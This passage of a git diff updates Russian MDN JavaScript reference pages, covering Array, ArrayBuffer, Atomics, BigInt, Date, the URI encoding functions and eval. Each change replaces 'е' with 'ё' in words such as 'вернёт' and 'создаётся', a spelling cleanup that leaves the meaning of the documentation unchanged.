<dd>Если <code>begin</code> не определён, <code>slice()</code> начинает работать с индекса <code>0</code>.</dd> + <dd>Если <code>begin</code> больше длины последовательности вернётся пустой массив.</dd> <dt><code>end</code> {{optional_inline}}</dt> <dd>Индекс (счёт начинается с нуля), по которому заканчивать извлечение. Метод <code>slice()</code> извлекает элементы с индексом меньше <code>end</code>.</dd> <dd>Вызов <code>slice(1, 4)</code> извлечёт элементы со второго по четвёртый (элементы по индексам 1, 2 и 3).</dd> @@ -39,7 +39,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p>Новый массив, содержащий извлеченные элементы.</p> +<p>Новый массив, содержащий извлечённые элементы.</p> <h2 id="Description" name="Description">Описание</h2> @@ -228,7 +228,7 @@ var list1 = list(1, 2, 3); // [1, 2, 3] <h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> <p>{{Compat("javascript.builtins.Array.slice")}}</p> </div> diff --git a/files/ru/web/javascript/reference/global_objects/array/some/index.html b/files/ru/web/javascript/reference/global_objects/array/some/index.html index 9bc3fbd7f3..a9d6aea2e0 100644 --- a/files/ru/web/javascript/reference/global_objects/array/some/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/some/index.html @@ -52,7 +52,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/some <h2 id="Description" name="Description">Описание</h2> -<p>Метод <code>some()</code> вызывает переданную функцию <code>callback</code> один раз для каждого элемента, присутствующего в массиве до тех пор, пока не найдет такой, для которого <code>callback</code> вернет <em>истинное</em> значение (значение, становящееся равным <code>true</code> при приведении его к типу {{jsxref("Boolean")}}). Если такой элемент найден, метод <code>some()</code> немедленно вернёт <code>true</code>. В противном случае, если <code>callback</code> вернёт <code>false</code> для всех элементов массива, метод <code>some()</code> вернёт <code>false</code>. Функция <code>callback</code> вызывается только для индексов массива, имеющих присвоенные значения; она не вызывается для индексов, которые были удалены или которым значения никогда не присваивались.</p> +<p>Метод <code>some()</code> вызывает переданную функцию <code>callback</code> один раз для каждого элемента, присутствующего в массиве до тех пор, пока не найдёт такой, для которого <code>callback</code> вернёт <em>истинное</em> значение (значение, становящееся равным <code>true</code> при приведении его к типу {{jsxref("Boolean")}}). Если такой элемент найден, метод <code>some()</code> немедленно вернёт <code>true</code>. В противном случае, если <code>callback</code> вернёт <code>false</code> для всех элементов массива, метод <code>some()</code> вернёт <code>false</code>. Функция <code>callback</code> вызывается только для индексов массива, имеющих присвоенные значения; она не вызывается для индексов, которые были удалены или которым значения никогда не присваивались.</p> <p>Функция <code>callback</code> вызывается с тремя аргументами: значением элемента, индексом элемента и массивом, по которому осуществляется проход.</p> diff --git a/files/ru/web/javascript/reference/global_objects/array/sort/index.html b/files/ru/web/javascript/reference/global_objects/array/sort/index.html index 16b73503c5..f33119cd53 100644 --- a/files/ru/web/javascript/reference/global_objects/array/sort/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/sort/index.html @@ -27,7 +27,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/sort <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p>Отсортированный массив. Важно, что копия массива не создается - массив сортируется <em><a href="https://en.wikipedia.org/wiki/In-place_algorithm">на месте</a></em>.</p> +<p>Отсортированный массив. Важно, что копия массива не создаётся - массив сортируется <em><a href="https://en.wikipedia.org/wiki/In-place_algorithm">на месте</a></em>.</p> <h2 id="Description" name="Description">Описание</h2> diff --git a/files/ru/web/javascript/reference/global_objects/arraybuffer/index.html b/files/ru/web/javascript/reference/global_objects/arraybuffer/index.html index 3dfc1687ab..19d63d3859 100644 --- a/files/ru/web/javascript/reference/global_objects/arraybuffer/index.html +++ b/files/ru/web/javascript/reference/global_objects/arraybuffer/index.html @@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer --- <div>{{JSRef}}</div> -<p>Объект <strong><code>ArrayBuffer</code></strong> используется для работы с бинарными данными. Он представляет собой ссылку на поток "сырых" двоичных данных, однако работать с ними напрямую возможности не дает. Вместо этого, вы можете создать <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">типизированный массив</a> или объект {{jsxref("DataView")}}, который можно использовать для чтения и записи данных в <strong><code>ArrayBuffer</code></strong>. </p> +<p>Объект <strong><code>ArrayBuffer</code></strong> используется для работы с бинарными данными. Он представляет собой ссылку на поток "сырых" двоичных данных, однако работать с ними напрямую возможности не даёт. Вместо этого, вы можете создать <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">типизированный массив</a> или объект {{jsxref("DataView")}}, который можно использовать для чтения и записи данных в <strong><code>ArrayBuffer</code></strong>. </p> <h2 id="Синтаксис">Синтаксис</h2> @@ -24,11 +24,11 @@ translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p>Новый объект <code>ArrayBuffer</code> определенного размера. Изначально содержимое равно 0.</p> +<p>Новый объект <code>ArrayBuffer</code> определённого размера. Изначально содержимое равно 0.</p> <h2 id="Описание">Описание</h2> -<p>Конструктор <code>ArrayBuffer</code> создает новый <code>ArrayBuffer</code> установленного в байтах размера.</p> +<p>Конструктор <code>ArrayBuffer</code> создаёт новый <code>ArrayBuffer</code> установленного в байтах размера.</p> <h3 id="Создание_буфера">Создание буфера</h3> @@ -50,16 +50,16 @@ translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer <dl> <dt>{{jsxref("ArrayBuffer.isView", "ArrayBuffer.isView(arg)")}}</dt> - <dd>Возвращает <code>true</code> если <code>arg</code> – одно из представлений <code>ArrayBuffer</code>, например <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">типизированный массив</a> или {{jsxref("DataView")}}. Вернет <code>false</code> в остальных случаях.</dd> + <dd>Возвращает <code>true</code> если <code>arg</code> – одно из представлений <code>ArrayBuffer</code>, например <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">типизированный массив</a> или {{jsxref("DataView")}}. Вернёт <code>false</code> в остальных случаях.</dd> <dt>{{jsxref("ArrayBuffer.transfer", "ArrayBuffer.transfer(oldBuffer [, newByteLength])")}} {{experimental_inline}}</dt> <dd> - <div class="line" id="file-arraybuffer-transfer-LC6">Вернет новый <code>ArrayBuffer</code>, контент которого будет взят из данных <code>oldBuffer</code>, а затем усечен или дополнен нулевыми значениями до<font face="Open Sans, Arial, sans-serif"> </font><code>newByteLength</code>.</div> + <div class="line" id="file-arraybuffer-transfer-LC6">Вернёт новый <code>ArrayBuffer</code>, контент которого будет взят из данных <code>oldBuffer</code>, а затем усечён или дополнен нулевыми значениями до<font face="Open Sans, Arial, sans-serif"> </font><code>newByteLength</code>.</div> </dd> </dl> <h2 id="Пример">Пример</h2> -<p>В этом примере мы создаем 8-байтный буфер с {{jsxref("Global_Objects/Int32Array", "Int32Array")}} представлением:</p> +<p>В этом примере мы создаём 8-байтный буфер с {{jsxref("Global_Objects/Int32Array", "Int32Array")}} представлением:</p> <pre class="brush: js">var buffer = new ArrayBuffer(8); var view = new Int32Array(buffer);</pre> @@ -76,7 +76,7 @@ var view = new Int32Array(buffer);</pre> <tr> <td>{{SpecName('Typed Array')}}</td> <td>{{Spec2('Typed Array')}}</td> - <td>Заменен спецификацией ECMAScript 6.</td> + <td>Заменён спецификацией ECMAScript 6.</td> </tr> <tr> <td>{{SpecName('ES6', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}</td> diff --git a/files/ru/web/javascript/reference/global_objects/arraybuffer/slice/index.html b/files/ru/web/javascript/reference/global_objects/arraybuffer/slice/index.html index 84b8592a5e..6182148417 100644 --- a/files/ru/web/javascript/reference/global_objects/arraybuffer/slice/index.html +++ b/files/ru/web/javascript/reference/global_objects/arraybuffer/slice/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/slice --- <div>{{JSRef}}</div> -<p>Метод <code><strong>slice()</strong></code> вернет новый <code>ArrayBuffer</code>, содержимое которого, будет копией содержимого, содержащегося в исходом ArrayBuffer, начиная с begin (включительно), и до end(не включая).</p> +<p>Метод <code><strong>slice()</strong></code> вернёт новый <code>ArrayBuffer</code>, содержимое которого, будет копией содержимого, содержащегося в исходом ArrayBuffer, начиная с begin (включительно), и до end(не включая).</p> <h2 id="Syntax">Syntax</h2> diff --git a/files/ru/web/javascript/reference/global_objects/asyncfunction/index.html b/files/ru/web/javascript/reference/global_objects/asyncfunction/index.html index b1475ad6e3..41f858c951 100644 --- a/files/ru/web/javascript/reference/global_objects/asyncfunction/index.html +++ b/files/ru/web/javascript/reference/global_objects/asyncfunction/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction --- <div>{{JSRef}}</div> -<p><code><strong><font face="Open Sans, arial, sans-serif">Конструктор </font>Async</strong></code><strong><code>Function</code> </strong>создает новый объект {{jsxref("Statements/async_function", "async function")}}. В JavaScript любая асинхронная функция фактически является объектом AsyncFunction.</p> +<p><code><strong><font face="Open Sans, arial, sans-serif">Конструктор </font>Async</strong></code><strong><code>Function</code> </strong>создаёт новый объект {{jsxref("Statements/async_function", "async function")}}. В JavaScript любая асинхронная функция фактически является объектом AsyncFunction.</p> <p>Обратите внимание, что AsyncFunction не является глобальным объектом. Её можно получить, выполнив следующий код.</p> @@ -20,14 +20,14 @@ translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction <dl> <dt><code>arg1, arg2, ... arg<em>N</em></code></dt> - <dd>Имена, используемые функцией как формальные имена аргументов. Каждое имя должно быть строкой, которая соответствует действительному идентификатору JavaScript или списку таких строк, разделенных запятой; например, "<code>x</code>", "<code>theValue</code>", или "<code>a,b</code>". </dd> + <dd>Имена, используемые функцией как формальные имена аргументов. Каждое имя должно быть строкой, которая соответствует действительному идентификатору JavaScript или списку таких строк, разделённых запятой; например, "<code>x</code>", "<code>theValue</code>", или "<code>a,b</code>". </dd> <dt><code>functionBody</code></dt> <dd>Строка, содержащая в себе определение функции в исходном коде JavaScript .</dd> </dl> <h2 id="Описание">Описание</h2> -<p>Объекты {{jsxref("Statements/async_function", "async function")}}, созданные с помощью AsyncFunction constructor будут распарсены в момент, когда функция создается. Это менее эффективно, чем объявлять асинхронную функцию с помощью {{jsxref("Statements/async_function", "async function expression")}} и вызывать ее внутри вашего кода, поскольку такие функции анализируются с остальной частью кода.</p> +<p>Объекты {{jsxref("Statements/async_function", "async function")}}, созданные с помощью AsyncFunction constructor будут распарсены в момент, когда функция создаётся. Это менее эффективно, чем объявлять асинхронную функцию с помощью {{jsxref("Statements/async_function", "async function expression")}} и вызывать её внутри вашего кода, поскольку такие функции анализируются с остальной частью кода.</p> <p>Все аргументы, переданные функции, рассматриваются как имена идентификаторов параметров в создаваемой функции в том порядке, в котором они передаются.</p> diff --git a/files/ru/web/javascript/reference/global_objects/atomics/add/index.html b/files/ru/web/javascript/reference/global_objects/atomics/add/index.html index 546fdbd27f..003ce1619a 100644 --- a/files/ru/web/javascript/reference/global_objects/atomics/add/index.html +++ b/files/ru/web/javascript/reference/global_objects/atomics/add/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/add --- <div>{{JSRef}}</div> -<p>Статический метод <code><strong>Atomics</strong></code><strong><code>.add()</code></strong> добавляет значение к текущему по указанной позиции в массиве и возвращает предыдущее значение в этой позиции. Эта атомарная операция гарантирует, что никакой другой записи не произойдет, пока измененное значение не будет записано обратно.</p> +<p>Статический метод <code><strong>Atomics</strong></code><strong><code>.add()</code></strong> добавляет значение к текущему по указанной позиции в массиве и возвращает предыдущее значение в этой позиции. Эта атомарная операция гарантирует, что никакой другой записи не произойдёт, пока изменённое значение не будет записано обратно.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/add <dl> <dt><code>typedArray</code></dt> - <dd>Разделенный массив целых чисел. {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} или {{jsxref("Uint32Array")}}.</dd> + <dd>Разделённый массив целых чисел. {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} или {{jsxref("Uint32Array")}}.</dd> <dt><code>index</code></dt> <dd>Позиция в <code>typedArray</code> для добавления <code>value</code>.</dd> <dt><code>value</code></dt> diff --git a/files/ru/web/javascript/reference/global_objects/atomics/index.html b/files/ru/web/javascript/reference/global_objects/atomics/index.html index d51c14af2e..7411110086 100644 --- a/files/ru/web/javascript/reference/global_objects/atomics/index.html +++ b/files/ru/web/javascript/reference/global_objects/atomics/index.html @@ -22,7 +22,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics <h3 id="Атомарные_операции">Атомарные операции</h3> -<p>Когда память разделена, несколько потоков могут читать и записывать одни и те же данные в память. Атомарные операции гарантируют, что ожидаемые значения будут записаны и прочитаны, а операции завершены, прежде чем следующая операция начнет свою работу, и они не будут прерваны.</p> +<p>Когда память разделена, несколько потоков могут читать и записывать одни и те же данные в память. Атомарные операции гарантируют, что ожидаемые значения будут записаны и прочитаны, а операции завершены, прежде чем следующая операция начнёт свою работу, и они не будут прерваны.</p> <dl> <dt>{{jsxref("Atomics.add()")}}</dt> @@ -50,12 +50,12 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics <h3 id="Wait_и_notify">Wait и notify</h3> -<p><code>wait()</code> и <code>wake()</code> методы моделируются на основе futexes ("fast user-space mutex" - быстрый мьютекс пользовательского пространства) Linux и предоставляют собой способы ожидания момента, когда определенное состояние не станет true, и обычно используется как блокирующие конструкции.</p> +<p><code>wait()</code> и <code>wake()</code> методы моделируются на основе futexes ("fast user-space mutex" - быстрый мьютекс пользовательского пространства) Linux и предоставляют собой способы ожидания момента, когда определённое состояние не станет true, и обычно используется как блокирующие конструкции.</p> <dl> <dt>{{jsxref("Atomics.wait()")}}</dt> <dd> - <p>Проверяет, содержится в указанной позиции массива все еще представленное значение и спит в ожидании или тайм-аут. Возвращает <code>"ok"</code>, <code>"not-equal" </code>или <code>"timed-out"</code>. Если ожидание не разрешено в вызывающем агенте, тогда выбросит ошибку исключения (большинство браузеров не разрешают <code>wait()</code> в главном потоке браузера).</p> + <p>Проверяет, содержится в указанной позиции массива все ещё представленное значение и спит в ожидании или тайм-аут. Возвращает <code>"ok"</code>, <code>"not-equal" </code>или <code>"timed-out"</code>. Если ожидание не разрешено в вызывающем агенте, тогда выбросит ошибку исключения (большинство браузеров не разрешают <code>wait()</code> в главном потоке браузера).</p> </dd> <dt>{{jsxref("Atomics.wake()")}}</dt> <dd>Пробуждает некоторых агентов, которые спят в очереди ожидания в указанной позиции массива. Возвращает количество агентов, которые были разбужены.</dd> @@ -145,7 +145,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics <h2 id="Похожие_заметки">Похожие заметки</h2> -<p>До SpiderMonkey 48 {{geckoRelease(48)}}, финальные имена API и семантика не были еще реализованы. Изменения между Firefox v. 46 и v. 48:</p> +<p>До SpiderMonkey 48 {{geckoRelease(48)}}, финальные имена API и семантика не были ещё реализованы. Изменения между Firefox v. 46 и v. 48:</p> <ul> <li>Методы <code>Atomics.futexWakeOrRequeue()</code> и <code>Atomics.fence()</code> полностью удалены ({{bug(1259544)}} и {{bug(1225028)}}).</li> diff --git a/files/ru/web/javascript/reference/global_objects/atomics/sub/index.html b/files/ru/web/javascript/reference/global_objects/atomics/sub/index.html index d3a9bbd3b4..05a2727be0 100644 --- a/files/ru/web/javascript/reference/global_objects/atomics/sub/index.html +++ b/files/ru/web/javascript/reference/global_objects/atomics/sub/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/sub --- <div>{{JSRef}}</div> -<p>Статический метод <code><strong>Atomics</strong></code><strong><code>.sub()</code></strong> вычитает представленное значение из текущего по указанной позиции в массиве и возвращает предыдущее значение в этой позиции. Эта атомарная операция гарантирует, что никакой другой записи не произойдет, пока измененное значение не будет записано обратно.</p> +<p>Статический метод <code><strong>Atomics</strong></code><strong><code>.sub()</code></strong> вычитает представленное значение из текущего по указанной позиции в массиве и возвращает предыдущее значение в этой позиции. Эта атомарная операция гарантирует, что никакой другой записи не произойдёт, пока изменённое значение не будет записано обратно.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/sub <dl> <dt><code>typedArray</code></dt> - <dd>Разделенный массив целых чисел. {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} или {{jsxref("Uint32Array")}}.</dd> + <dd>Разделённый массив целых чисел. {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} или {{jsxref("Uint32Array")}}.</dd> <dt><code>index</code></dt> <dd>Позиция в <code>typedArray</code> для добавления <code>value</code>.</dd> <dt><code>value</code></dt> diff --git a/files/ru/web/javascript/reference/global_objects/bigint/index.html b/files/ru/web/javascript/reference/global_objects/bigint/index.html index c8e43137bf..108df340f7 100644 --- a/files/ru/web/javascript/reference/global_objects/bigint/index.html +++ b/files/ru/web/javascript/reference/global_objects/bigint/index.html @@ -10,14 +10,14 @@ translation_of: Web/JavaScript/Reference/Global_Objects/BigInt --- <p>{{JSRef}}</p> -<p><strong><code>BigInt</code></strong> это встроенный объект, который предоставляет способ представлять целые числа больше 2<sup>53</sup> - 1, наибольшего числа, которое JavaScript может надежно представить с {{JSxRef("Number")}} примитивом. Это максимальное значение можно получить, обратившись к {{JSxRef("Number.MAX_SAFE_INTEGER")}}.</p> +<p><strong><code>BigInt</code></strong> это встроенный объект, который предоставляет способ представлять целые числа больше 2<sup>53</sup> - 1, наибольшего числа, которое JavaScript может надёжно представить с {{JSxRef("Number")}} примитивом. Это максимальное значение можно получить, обратившись к {{JSxRef("Number.MAX_SAFE_INTEGER")}}.</p> <dl> </dl> <h2 id="Описание">Описание</h2> -<p><code>BigInt</code> создается путем добавления <code>n</code> в конец целочисленного литерала — <code>10n</code> — или вызовом функции <code>BigInt()</code>.</p> +<p><code>BigInt</code> создаётся путём добавления <code>n</code> в конец целочисленного литерала — <code>10n</code> — или вызовом функции <code>BigInt()</code>.</p> <pre class="brush: js">const theBiggestInt = 9007199254740991n; @@ -44,7 +44,7 @@ const hugeBin = BigInt("0b11111111111111111111111111111111111111111111111111111" <h3 id="Тип">Тип</h3> -<p>При проверке с использованием оператора <code>typeof</code>, <code>BigInt</code> выдает тип <code>"bigint"</code>:</p> +<p>При проверке с использованием оператора <code>typeof</code>, <code>BigInt</code> выдаёт тип <code>"bigint"</code>:</p> <pre class="brush: js">typeof 1n === 'bigint'; // true typeof BigInt('1') === 'bigint'; // true @@ -57,7 +57,7 @@ typeof BigInt('1') === 'bigint'; // true <h3 id="Операторы">Операторы</h3> -<p>Следующие операторы могут использоваться с <code>BigInt</code> (или объектом-оберткой <code>BigInt</code>): <code>+</code>, <code>*</code>, <code>-</code>, <code>**</code>, <code>%</code>.</p> +<p>Следующие операторы могут использоваться с <code>BigInt</code> (или объектом-обёрткой <code>BigInt</code>): <code>+</code>, <code>*</code>, <code>-</code>, <code>**</code>, <code>%</code>.</p> <p><a href="/ru/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">Побитовые операции</a> также поддерживаются, кроме <code>>>></code> (сдвиг вправо с заполнением нулями).</p> @@ -91,7 +91,7 @@ bigN * -1n <p>Оператор <code>/</code> также работает, как и ожидалось, с целыми числами. Однако, поскольку это BigInt, эта операция будет округляться в меньшую сторону, то есть она не будет возвращать какие-либо дробные цифры.</p> <div class="blockIndicator warning"> -<p>Результат операции с дробным результатом будет округлен в <strong><u>меньшую</u></strong> сторону при использовании <code>BigInt</code>.</p> +<p>Результат операции с дробным результатом будет округлён в <strong><u>меньшую</u></strong> сторону при использовании <code>BigInt</code>.</p> </div> <pre class="brush: js">const expected = 4n / 2n; @@ -138,7 +138,7 @@ mixed.sort(); // ↪ [-12n, 0, 0n, 10, 4n, 4, 6] </pre> -<p>Обратите внимание, что сравнения с <code>обьектом</code>-оберткой <code>BigInt</code> действуют как с другими объектами, указывая на равенство только когда сравнивается идентичный экземпляр объекта:</p> +<p>Обратите внимание, что сравнения с <code>обьектом</code>-обёрткой <code>BigInt</code> действуют как с другими объектами, указывая на равенство только когда сравнивается идентичный экземпляр объекта:</p> <pre class="brush: js">0n === Object(0n); // false Object(0n) === Object(0n); // false @@ -236,7 +236,7 @@ Boolean(12n) <h2 id="Примеры">Примеры</h2> -<h3 id="Расчет_простых_чисел">Расчет простых чисел</h3> +<h3 id="Расчёт_простых_чисел">Расчёт простых чисел</h3> <pre class="brush: js">// Возвращает true, если BigInt — простое число function isPrime(p) { diff --git a/files/ru/web/javascript/reference/global_objects/date/index.html b/files/ru/web/javascript/reference/global_objects/date/index.html index a6ce5896e1..4eb5876bd2 100644 --- a/files/ru/web/javascript/reference/global_objects/date/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/index.html @@ -181,7 +181,7 @@ yourFunctionReturn = printElapsedTime(yourFunction); <pre class="notranslate"><code>var seconds = Math.floor(Date.now() / 1000);</code></pre> -<p>В этом случае важно возвращать только целое число (так что простое деление не подойдет), а также возвращать только фактически прошедшие секунды (поэтому этот код использует {{jsxref ("Math.floor ()")}} а не {{jsxref ("Math.round ()")}}).</p> +<p>В этом случае важно возвращать только целое число (так что простое деление не подойдёт), а также возвращать только фактически прошедшие секунды (поэтому этот код использует {{jsxref ("Math.floor ()")}} а не {{jsxref ("Math.round ()")}}).</p> <h2 id="Specifications" name="Specifications">Спецификации</h2> diff --git a/files/ru/web/javascript/reference/global_objects/date/setminutes/index.html b/files/ru/web/javascript/reference/global_objects/date/setminutes/index.html index 3cf8647e14..e9718854f2 100644 --- a/files/ru/web/javascript/reference/global_objects/date/setminutes/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/setminutes/index.html @@ -36,7 +36,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMinutes <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p>Количество миллисекунд между 1 января 1970 00:00:00 UTC и обновленной датой.</p> +<p>Количество миллисекунд между 1 января 1970 00:00:00 UTC и обновлённой датой.</p> <h2 id="Description" name="Description">Описание</h2> diff --git a/files/ru/web/javascript/reference/global_objects/date/toutcstring/index.html b/files/ru/web/javascript/reference/global_objects/date/toutcstring/index.html index f603359b99..a4991d3e79 100644 --- a/files/ru/web/javascript/reference/global_objects/date/toutcstring/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/toutcstring/index.html @@ -21,7 +21,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/toUTCString <p>Нет.</p> <h2 id="Description" name="Description">Описание</h2> -<p>Значение, возвращаемое методом <code>toUTCString()</code>, является человеко-читаемой строкой в часовом поясе <abbr title="Всемирное координированное время">UTC</abbr>. Формат возвращаемого значения зависит от платформы. Наиболее распространенным значением является форматированная по RFC-1123 временная метка, которая является немного обновлённой версией временной метки RFC-822.</p> +<p>Значение, возвращаемое методом <code>toUTCString()</code>, является человеко-читаемой строкой в часовом поясе <abbr title="Всемирное координированное время">UTC</abbr>. Формат возвращаемого значения зависит от платформы. Наиболее распространённым значением является форматированная по RFC-1123 временная метка, которая является немного обновлённой версией временной метки RFC-822.</p> <h2 id="Examples" name="Examples">Примеры</h2> diff --git a/files/ru/web/javascript/reference/global_objects/decodeuricomponent/index.html b/files/ru/web/javascript/reference/global_objects/decodeuricomponent/index.html index 8e7562ad05..98b6336f42 100644 --- a/files/ru/web/javascript/reference/global_objects/decodeuricomponent/index.html +++ b/files/ru/web/javascript/reference/global_objects/decodeuricomponent/index.html @@ -36,7 +36,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/decodeURIComponent <h3 id="Исключения">Исключения</h3> -<p>При неправильном использовании выдает исключение {{jsxref("URIError")}} ("неверный формат последовательности URI").</p> +<p>При неправильном использовании выдаёт исключение {{jsxref("URIError")}} ("неверный формат последовательности URI").</p> <h2 id="Description" name="Description">Описание</h2> diff --git a/files/ru/web/javascript/reference/global_objects/encodeuri/index.html b/files/ru/web/javascript/reference/global_objects/encodeuri/index.html index 9b6c6d7382..65e8cfda73 100644 --- a/files/ru/web/javascript/reference/global_objects/encodeuri/index.html +++ b/files/ru/web/javascript/reference/global_objects/encodeuri/index.html @@ -82,7 +82,7 @@ console.log(encodeURIComponent('\uD800')); // один низкий суррогат бросит "URIError: malformed URI sequence" console.log(encodeURIComponent('\uDFFF'));</code></pre> -<p>Также заметим, что следуя наиболее свежей <a href="http://tools.ietf.org/html/rfc3986">RFC3986</a> для URL, которая делает квадратные скобки защищенными (для IPv6) и таким образом не кодирует, когда формирование чего-либо, не являющегося частью URL (такое как домен), следующий сниппет поможет:</p> +<p>Также заметим, что следуя наиболее свежей <a href="http://tools.ietf.org/html/rfc3986">RFC3986</a> для URL, которая делает квадратные скобки защищёнными (для IPv6) и таким образом не кодирует, когда формирование чего-либо, не являющегося частью URL (такое как домен), следующий сниппет поможет:</p> <pre class="brush: js">function fixedEncodeURI (str) { return encodeURI(str).replace(/%5B/g, '[').replace(/%5D/g, ']'); diff --git a/files/ru/web/javascript/reference/global_objects/encodeuricomponent/index.html b/files/ru/web/javascript/reference/global_objects/encodeuricomponent/index.html index a0c6b028db..7493e53632 100644 --- a/files/ru/web/javascript/reference/global_objects/encodeuricomponent/index.html +++ b/files/ru/web/javascript/reference/global_objects/encodeuricomponent/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/encodeURIComponent --- <div>{{jsSidebar("Objects")}}</div> -<p><code><strong>encodeURIComponent()</strong></code> - метод, кодирующий компонент универсального идентификатора ресурса (URI) заменой каждой определенной последовательности символов одной, двумя, тремя или четырьмя последовательностями символов, представленных в кодировке UTF-8 (будет только 4 управляющих последовательности для символов, состоящих из 2 "суррогатных" символов).</p> +<p><code><strong>encodeURIComponent()</strong></code> - метод, кодирующий компонент универсального идентификатора ресурса (URI) заменой каждой определённой последовательности символов одной, двумя, тремя или четырьмя последовательностями символов, представленных в кодировке UTF-8 (будет только 4 управляющих последовательности для символов, состоящих из 2 "суррогатных" символов).</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/javascript/reference/global_objects/error/index.html b/files/ru/web/javascript/reference/global_objects/error/index.html index 90a108b2a4..6ac3ffc666 100644 --- a/files/ru/web/javascript/reference/global_objects/error/index.html +++ b/files/ru/web/javascript/reference/global_objects/error/index.html @@ -37,7 +37,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Error <h3 id="Использование_как_функции">Использование как функции</h3> -<p>Когда <code>Error</code> используется как функции-- без {{jsxref("Operators/new", "new")}}, она возвращает <code>Error</code> объект. Следовательно простой вызов <code>Error</code> произведет тот же результат, что и конструктор <code>Error</code> объявленный через <code>new</code>.</p> +<p>Когда <code>Error</code> используется как функции-- без {{jsxref("Operators/new", "new")}}, она возвращает <code>Error</code> объект. Следовательно простой вызов <code>Error</code> произведёт тот же результат, что и конструктор <code>Error</code> объявленный через <code>new</code>.</p> <pre><code>// this: const x = Error('I was created using a function call!'); diff --git a/files/ru/web/javascript/reference/global_objects/escape/index.html b/files/ru/web/javascript/reference/global_objects/escape/index.html index edc41f8259..05ae768fd4 100644 --- a/files/ru/web/javascript/reference/global_objects/escape/index.html +++ b/files/ru/web/javascript/reference/global_objects/escape/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/escape --- <div>{{jsSidebar("Objects")}} {{deprecated_header}}</div> -<p>Устаревший метод <code><strong>escape()</strong></code> возвращает новую строку, в которой определенные символы заменены шестнадцатеричной управляющей последовательностью. Используйте методы {{jsxref("encodeURI")}} или {{jsxref("encodeURIComponent")}} вместо него.</p> +<p>Устаревший метод <code><strong>escape()</strong></code> возвращает новую строку, в которой определённые символы заменены шестнадцатеричной управляющей последовательностью. Используйте методы {{jsxref("encodeURI")}} или {{jsxref("encodeURIComponent")}} вместо него.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/javascript/reference/global_objects/eval/index.html b/files/ru/web/javascript/reference/global_objects/eval/index.html index 0c32530435..49bec21796 100644 --- a/files/ru/web/javascript/reference/global_objects/eval/index.html +++ b/files/ru/web/javascript/reference/global_objects/eval/index.html @@ -44,7 +44,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/eval <p><code>eval()</code> можно использовать для вычисления значения арифметического выражения, записанного в строковом виде, на более поздней стадии исполнения. Предположим, существует переменная <code>x</code>. Можно отложить вычисление выражения, в котором содержится <code>х</code>, если присвоить переменной это выражение в виде строки (допустим, "<code>3 * x + 2</code>"), а затем вызвать <code>eval()</code> в более поздней точке кода.</p> -<p>Если аргумент, переданный <code>eval()</code>, не является строкой, <code>eval() </code>возвращает его неизменным. В следующем примере определен конструктор 